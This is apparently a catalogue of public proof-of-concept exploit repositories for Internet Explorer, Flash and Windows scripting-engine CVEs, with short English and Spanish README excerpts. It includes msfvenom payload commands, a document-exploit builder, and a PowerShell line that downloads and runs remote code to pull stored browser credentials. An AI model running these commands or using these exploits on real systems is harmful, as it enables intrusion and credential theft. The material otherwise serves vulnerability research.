MS16-051-poc

CVE-2016-0189 Proof-of-Concept exploit for CVE-2016-0189 VBScript Memory Corruption in IE11 Tested on Windows 10 IE 11. Write-up https://www.deamwork.com/archives/patch-analysis-of-cve-2016-0189.orz6 To run 1. Download support/.dll or compile .cpp for yourself and exploit/.html to a directory. 2...

CVE-2019-0752

https://www.thezdi.com/blog/2019/5/21/rce-without-native-code-exploitation-of-a-write-what-where-in-internet-explorer Exploit PoC para CVE-2019-0752 Apuntar a Internet Explorer 11 de 32 bits en Windows 10 x64 hasta RS4, ¿RS5? Utiliza valores de dirección especiales además de algo de magia de ruta...

CVE-2019-1221

PoC exploit para CVE-2019-1221 Se perdió el origen de este PoC Apunta a Internet Explorer 11 de 32 bits en Windows 10 x64 hasta RS5 Usa "VBScript.Encode" / CVE-2019-0768 para que el exploit funcione hasta RS5 Ejecuta calc usando WinExec...

CVE-2018-15982_EXP_IE

CVE-2018-15982EXP Usage root@kitploit: msfvenom -p windows/exec cmd=calc.exe -f raw 86.bin msfvenom -p windows/x64/exec cmd=calc.exe -f raw 64.bin python CVE201815982.py -i 86.bin -I 64.bin output exp.swf and index.html。 Demo https://twitter.com/Evi1cg/status/1071284773169950721...

CVE-2021-40444_builders

Builders de CVE-2021-40444 Este repositorio contiene builders del archivo cab, del archivo html y del archivo docx para el exploit CVE-2021-40444. Este repositorio es solo para pruebas, investigación y fines educativos. Eres responsable del uso que le des al código proporcionado en este...

CVE-2017-8625_Bypass_UMCI

Qué es ! Windows Defender Device Guard ! Windows Defender Device Guard es una combinación de funciones de seguridad de hardware y software relacionadas con la empresa que, cuando se configuran juntas, bloquean un dispositivo para que solo pueda ejecutar aplicaciones confiables que defina en sus...

credgrap_ie_edge

credgrapieedge Contenido: Extrae credenciales almacenadas de Internet Explorer y Edge Autor: Florian Hansemann | @HanseSecure | https://hansesecure.de Fecha: 04/2018 Uso powershell -nop -exec bypass -c "IEX New-Object Net.WebClient.DownloadString'http://bit.ly/2K75g15'" Recomendación Solución...

snuck

snuck Automatic XSS filter bypass Overview snuck is an automatic tool whose goal is to significantly test a given XSS filter by specializing the injections on the basis of the reflection context. This approach adopts Selenium to drive a web browser in reproducing both the attacker and the victim...

GTranslate < 2.8.65 - Cross-Site Scripting

In the Pro and Enterprise versions of GTranslate 2.8.65, the gtranslaterequesturivar function runs at the top of all pages and echoes out the contents of $SERVER'REQUESTURI'. Although this uses addslashes, and most modern browsers automatically URLencode requests, this plugin is still vulnerable ...

CVE-2018-15982

Credits @Ridter https://github.com/Ridter/CVE-2018-15982EXP @prsecurity https://github.com/prsecurity/CVE-2018-15982 Description Aggressor Script to launch an Internet Explorer driveby attack using CVE-2018-15982 exploit for Flash player. Affected Product Versions Adobe Flash Player Host...

js-driveby-download-CVE-2006-4777

js-driveby-download-CVE-2006-4777 malware del lado del cliente de explotacion de vulnerabilidad de internet explorer 6.0 SP1 en windows xp SP2. No requiere de consentimiento por parte del usuario y no descarga ningun archivo. Injeccion de Codigo Shell en la RAM desde JavaScript con IE en Windows...

CVE-2020-0674-Exploit

CVE-2020-0674 CVE-2020-0674 es una vulnerabilidad de use-after-free en el motor jscript heredado. Se puede activar en Internet Explorer. El exploit aquí está escrito por maxpl0it, pero la vulnerabilidad en sí fue descubierta por Qihoo 360 al ser utilizada en ataques reales. Este exploit simplemen...

CVE-2018-4878

Autor y Créditos Autor: Vincent Yiu @vysecurity Créditos: @evi1cg: Ayudándome a probar y mantener mi motivación @smgoreli: PoC original de Calc.exe @kbandla: Él lo sabe, y yo lo sé. ; Descargo de responsabilidad Desarrollado para fomentar más desarrollo de scripts Aggressor. ¡Úselo solo en prueba...

cve-2016-0189

CVE-2016-0189 Proof-of-Concept exploit for CVE-2016-0189 VBScript Memory Corruption in IE11 Tested on Windows 10 IE11. Write-up http://theori.io/research/cve-2016-0189 To run 1. Download support/.dll or compile .cpp for yourself and exploit/.html to a directory. 2. Serve the directory using a...

CVE-2019-1367

0x00 Background Internet Explorer is a web browser developed by Microsoft. It has a massive user base. On September 23, Microsoft released an emergency security update to fix a remote code execution vulnerability affecting Internet Explorer. Discovered by Google's Threat Analysis Group, the...

CVE-2014-4109

Este crash es difícil de reproducir. El proof of concept incluido facilita un poco desencadenar la ruta de código que provoca el fallo. Mi proceso super científico para verificar el crash era hacer clic en la url con una mano y presionar enter con la otra. Generalmente crashea dentro de 15...

IE11SandboxEscapes

IE11SandboxEscapes Some example source code for fixed IE11 sandbox escapes. c James Forshaw 2014 For information purposes only. All files are licensed under GPLv3. See LICENSE for more information...

CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free-

CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free Ejecución remota de código mediante Use-After-Free en JScript.dll CVE-2025-30397 🧠 Descripción Este repositorio contiene un exploit de prueba de concepto PoC para una vulnerabilidad de Use-After-Free en el motor JScript jscript.dll q...

Internet-Explorer-UAF

Este repositorio no tiene un README...

angularjs-poc-cve-2022-25869

Acerca de Esta es una Prueba de Concepto mínima para una vulnerabilidad XSS en un de AngularJS que afecta a Internet Explorer CVE-2022-25869. Puedes verlo en vivo en https://neverendingsupport.github.io/angularjs-poc-cve-2022-25869...